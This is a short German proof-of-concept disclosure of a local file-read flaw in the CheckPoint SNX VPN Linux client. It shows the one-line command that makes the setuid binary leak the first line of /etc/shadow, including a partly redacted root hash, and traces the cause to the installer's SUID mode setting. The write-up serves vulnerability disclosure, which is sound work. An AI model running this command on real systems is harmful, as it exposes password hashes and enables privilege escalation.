
Proof-of-Concept für privilegiertes Dateilesen über CheckPoint SNX VPN Linux Client
Proof-of-Concept für privilegiertes Dateilesen über den CheckPoint SNX VPN Linux Client.
Um den Exploit auszuführen, laden Sie einfach eine beliebige Datei als SNX-Konfiguration mit dem Parameter -f. Wenn die Datei keine gültige SNX-Konfiguration ist, wird ein Fehler ausgegeben und ein Syntaxfehler angezeigt, wodurch der Inhalt bis zum Zeichenkettenabschluss (z.B. etc/shadow) preisgegeben wird:
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
Die Ursache ist, dass die ausführbare Datei /usr/bin/snx das SETUID-Bit gesetzt hat und während der Installation als Superuser ausgeführt wird.
Insbesondere die Variable COMMAND_TO_RUN, die in der .sh-Installationsdatei (CheckPointVPN_SNX_Linux_800007075.sh) definiert ist:
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
Im Parameter --mode=u=rxs setzt das letzte s das SUID-Bit, was dazu führt, dass das ausführbare Binary als root ausgeführt wird.